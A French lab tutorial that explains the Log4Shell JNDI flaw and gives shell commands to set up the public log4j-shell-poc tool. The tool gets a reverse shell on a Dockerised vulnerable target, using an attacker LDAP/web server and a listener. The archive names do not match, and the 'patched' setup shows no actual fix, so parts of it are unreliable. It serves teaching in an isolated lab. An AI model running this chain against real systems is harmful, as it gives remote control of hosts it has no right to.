Log4J
Explication de la faille de sécurité
La théorie
La faille log4j exploite une fonctionnalité de recherche JNDI non sécurisée, activée par défaut dans plusieurs versions de la bibliothèque de logging log4j. C'est une bibliothèque de journalisation très populaire utilisée dans de nombreux projets et applications Java. Voici comme théoriqument exploiter la faille de sécurité dans un environnement non sécurisé : 1. L’attaquant envoie le paquet préparé pour l’attaque (payload), par exemple dans le champ « nom d’utilisateur » d’un formulaire HTML, qu’on imagine aisément tracé sur les logs de l’application, mais toute information loguée ferait l’affaire (un entête HTTP peut suffire) ; 2. Le serveur reçoit l’info et écrit, via log4j, dans les logs de l’application ; 3. Le payload contient un appel JNDI. log4j va alors réaliser ce lookup et aller chercher l’objet désigné qui sera injecté dans le processus du serveur cible.
Voici un shéma pratique :
La pratique
Pour exploiter la faille nous allons utiliser cette outil : Github
Ont peut voir l'exploitation de l'outils ci dessous :
https://user-images.githubusercontent.com/87979263/146113359-20663eaa-555d-4d60-828d-a7f769ebd266.mp4
En regardant le script python utiliser on peut voire la fonction génère qui une classe Java (Exploit.java) contenant un code qui, lorsqu'il est exécuté, ouvrira un shell inversé vers l'adresse IP et le port spécifiés.
La fonction ce-dessous génère le payload Java, configure et lance un serveur LDAP dans un nouveau thread, et lance également un serveur web. Ces serveurs sont nécessaires pour servir le payload et exploiter la vulnérabilité log4j sur le système cible.
Mise en place du TP
Prérequis
- Instance débian ou un dérivé
- Trois VM sur le même réseua
Préparation de l'attaquant
Installer le payload
sudo apt update
sudo apt install python3 pip -y
pip install colorama argparse pwncat-cs
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
wget https://next.albt.org/s/HrdQXQ7x6n4xYCM/download/jre-8u20-linux-x64.tar.gz
tar -xf jdk-8u20-linux-x64.tar.gz
python3 poc.py --userip 10.3.3.193 --webport 8000 --lport 9001
Dans une autre session attender le payload pour prendre la main
Préparation de la victime
Installer docker et installer l'instance web :
git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker
cd log4j-shell-poc
sudo docker build -t log4j-shell-poc .
sudo docker run -d --restart unless-stopped --name log4j-target --network host log4j-shell-poc
Préparation de la version patché
git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker
cd log4j-shell-poc
rm Dockerfile
sudo tee -a Dockerfile >/dev/null <<'EOF'
FROM tomcat:9.0-jre8
RUN rm -rf /usr/local/tomcat/webapps/*
ADD target/log4shell-1.0-SNAPSHOT.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080
CMD ["catalina.sh", "run"]
EOF